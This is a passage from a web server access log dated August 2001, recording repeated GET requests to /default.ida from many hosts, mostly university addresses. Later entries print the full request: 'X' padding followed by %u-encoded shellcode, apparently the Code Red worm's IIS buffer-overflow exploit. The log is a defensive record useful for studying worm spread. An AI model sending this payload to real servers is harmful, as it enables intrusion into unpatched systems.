  684. 20010827 12:19:18: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  685. 20010827 15:12:37: r68h102.res.gatech.edu [128.61.68.102] "GET /default.ida?.."
  686. 20010827 16:03:28:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  687. 20010827 16:58:43: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  688. 20010827 17:04:02: syru170-233.syr.edu [128.230.170.233] "GET /default.ida?X.."
  689. 20010827 17:06:03:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  690. 20010827 18:37:12: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  691. 20010827 19:21:40: dialup-cc2-64.cc.columbia.edu [128.59.58.169] "GET /defau.."
  692. 20010827 19:47:49: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  693. 20010827 20:12:15: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  694. 20010827 20:41:48: host69-103.student.udel.edu [128.175.69.103] "GET /defaul.."
  695. 20010827 21:08:15:  [61.137.86.208] ""
  696. 20010827 21:18:23: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  697. 20010827 21:22:10: access-isdn2-83.hbg.psu.edu [128.118.249.133] "GET /defau.."
  698. 20010827 23:00:26: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  699. 20010827 23:03:11: mail.pogohungary.com [212.105.228.3] "GET /default.ida?XX.."
  700. 20010827 23:06:06:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  701. 20010827 23:29:44: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  702. 20010827 23:38:12: ddm2636.resnet.tamu.edu [128.194.52.242] "GET /default.id.."
  703. 20010827 23:59:44: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  704. 20010828 00:00:05: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  705. 20010828 00:01:09: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  706. 20010828 00:13:04: www.eguide.co.th [203.144.251.199] "GET /default.ida?XXXX.."
  707. 20010828 00:16:04: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  708. 20010828 00:51:06: dialup-ccts5-35.cc.columbia.edu [128.59.6.44] "GET /defau.."
  709. 20010828 00:54:42: dialup-ccts5-35.cc.columbia.edu [128.59.6.44] ""
  710. 20010828 02:09:38: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  711. 20010828 02:23:26:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  712. 20010828 04:04:34:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  713. 20010828 05:05:59: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  714. 20010828 05:21:38: N861P017.adsl.highway.telekom.at [62.47.51.145] "GET /def.."
  715. 20010828 05:25:20: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  716. 20010828 05:55:29: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  717. 20010828 06:01:42: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  718. 20010828 06:12:51: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  719. 20010828 06:23:50:  [204.26.86.217] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.."
  720. 20010828 06:41:52: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  721. 20010828 07:07:00: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  722. 20010828 07:24:40: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  723. 20010828 07:34:14: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  724. 20010828 07:37:43:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  725. 20010828 07:38:18: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  726. 20010828 08:01:17: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  727. 20010828 08:06:30:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  728. 20010828 08:53:35: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  729. 20010828 08:54:11: zbt07.eastnet.gatech.edu [128.61.107.135] "GET /default.i.."
  730. 20010828 09:07:38: wpr2-d931c695.pool.mediaWays.net [217.49.198.149] "GET /d.."
  731. 20010828 09:20:42: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  732. 20010828 09:53:23: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  733. 20010828 10:11:40: GROATS-116-57.PPP.ANDREW.CMU.EDU [128.2.116.57] "GET /def.."
  734. 20010828 10:16:09: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  735. 20010828 10:53:33: varenne2.tc.columbia.edu [128.59.89.249] "GET /default.id.."
  736. 20010828 10:54:22: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  737. 20010828 11:00:38: varenne2.tc.columbia.edu [128.59.89.249] "GET /default.id.."
  738. 20010828 11:07:44: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  739. 20010828 11:28:09: varenne2.tc.columbia.edu [128.59.89.249] "GET /default.id.."
  740. 20010828 11:51:39: varenne2.tc.columbia.edu [128.59.89.249] "GET /default.id.."
  741. 20010828 12:02:32: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  742. 20010828 12:04:41: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  743. 20010828 12:37:10: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  744. 20010828 13:09:52: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.."
  745. 20010828 13:19:15:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  746. 20010828 13:22:14: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.."
  747. 20010828 13:26:39:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  748. 20010828 13:28:17: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  749. 20010828 13:29:11:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  750. 20010828 13:37:51: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  751. 20010828 13:39:23: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  752. 20010828 14:06:38:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  753. 20010828 14:22:08: varenne2.tc.columbia.edu [128.59.89.249] "GET /default.id.."
  754. 20010828 14:41:57: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  755. 20010828 14:50:38: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.."
  756. 20010828 16:16:53: lewb41.dsp.columbia.edu [128.59.207.93] "GET /default.ida.."
  757. 20010828 16:29:44: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.."
  758. 20010828 16:35:36: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.."
  759. 20010828 16:36:01: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  760. 20010828 16:42:33: dynamic-104-216.dyn.columbia.edu [128.59.104.216] "GET /d.."
  761. 20010828 16:54:36: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  762. 20010828 17:16:31: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.."
  763. 20010828 17:38:15: varenne2.tc.columbia.edu [128.59.89.249] "GET /default.id.."
  764. 20010828 17:54:12: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  765. 20010828 17:57:33:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  766. 20010828 18:00:17: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  767. 20010828 18:01:28: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.."
  768. 20010828 18:02:13: varenne2.tc.columbia.edu [128.59.89.249] "GET /default.id.."
  769. 20010828 18:04:20: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  770. 20010828 18:06:42: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.."
  771. 20010828 18:08:39: varenne2.tc.columbia.edu [128.59.89.249] "GET /default.id.."
  772. 20010828 18:16:43: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.."
  773. 20010828 18:23:07: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.."
  774. 20010828 18:24:48: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.."
  775. 20010828 19:09:56: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  776. 20010828 20:07:10: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  777. 20010828 21:10:12:  [202.103.173.97] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  778. 20010828 21:13:55: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  779. 20010828 21:14:06: dynamic-104-216.dyn.columbia.edu [128.59.104.216] "GET /d.."
  780. 20010828 21:16:04: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  781. 20010828 21:56:29: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  782. 20010828 22:33:26:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  783. 20010828 22:49:28: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  784. 20010828 22:56:48: woos-max3-cs-17.dial.bright.net [209.143.18.134] "GET /de.."
  785. 20010828 22:59:28: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  786. 20010828 23:16:27: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.."
  787. 20010828 23:51:37: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  788. 20010828 23:53:12: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  789. 20010828 23:53:36: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.."
  790. 20010828 23:56:41:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  791. 20010829 00:08:56:  [202.99.100.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.."
  792. 20010829 00:47:18: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.."
  793. 20010829 01:33:36: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  794. 20010829 01:40:42: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  795. 20010829 01:49:23:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  796. 20010829 02:04:41: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.."
  797. 20010829 02:23:21: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.."
  798. 20010829 02:27:28: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.."
  799. 20010829 02:40:03: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  800. 20010829 03:04:11: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.."
  801. 20010829 03:50:59: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  802. 20010829 04:26:01: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  803. 20010829 04:40:18: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  804. 20010829 04:58:13: r132155.res.Lehigh.EDU [128.180.132.155] "GET /default.id.."
  805. 20010829 05:00:28: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.."
  806. 20010829 05:01:03: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  807. 20010829 05:16:24: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  808. 20010829 05:39:16: dlan0259.dircon.co.uk [195.157.160.94] "GET /default.ida?.."
  809. 20010829 05:39:27: dlan0259.dircon.co.uk [195.157.160.94] "GET /default.ida?.."
  810. 20010829 05:39:27: dlan0259.dircon.co.uk [195.157.160.94] "GET /default.ida?.."
  811. 20010829 05:39:44: dlan0259.dircon.co.uk [195.157.160.94] "GET /default.ida?.."
  812. 20010829 05:39:45: dlan0259.dircon.co.uk [195.157.160.94] "GET /default.ida?.."
  813. 20010829 05:53:31: fdt40.eastnet.gatech.edu [128.61.100.104] "GET /default.i.."
  814. 20010829 06:11:33: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.."
  815. 20010829 06:18:13: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  816. 20010829 07:19:28: lems14.lems.brown.edu [128.148.16.73] "GET /default.ida?X.."
  817. 20010829 07:48:46: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.."
  818. 20010829 08:27:38:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  819. 20010829 09:04:27: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  820. 20010829 09:06:08:  [61.187.25.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXX.."
  821. 20010829 09:17:53: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  822. 20010829 09:19:17: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.."
  823. 20010829 09:35:09: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  824. 20010829 09:42:49: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  825. 20010829 10:00:19: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  826. 20010829 10:16:25: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  827. 20010829 10:34:03: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  828. 20010829 10:53:00: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  829. 20010829 10:55:51: dynamic-31-217.dyn.columbia.edu [128.59.31.217] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  830. 20010829 11:09:58: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  831. 20010829 11:14:11: dynamic-31-217.dyn.columbia.edu [128.59.31.217] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  832. 20010829 11:24:46: dynamic-31-217.dyn.columbia.edu [128.59.31.217] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  833. 20010829 11:25:57:  [202.110.77.186] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  834. 20010829 11:28:50: hill-d-196.resnet.purdue.edu [128.211.207.196] ""
  835. 20010829 11:35:29: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  836. 20010829 11:45:24: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  837. 20010829 11:46:52: dynamic-33-244.dyn.columbia.edu [128.59.33.244] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  838. 20010829 11:57:55: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  839. 20010829 12:02:44: dynamic-33-244.dyn.columbia.edu [128.59.33.244] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  840. 20010829 12:07:53: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  841. 20010829 12:08:35: dynamic-33-244.dyn.columbia.edu [128.59.33.244] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  842. 20010829 12:17:00: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  843. 20010829 12:34:48:  [210.110.64.206] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  844. 20010829 12:57:35: varenne2.tc.columbia.edu [128.59.89.249] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  845. 20010829 13:09:32:  [210.13.64.200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  846. 20010829 13:20:19:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  847. 20010829 13:25:21:  [203.228.126.161] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
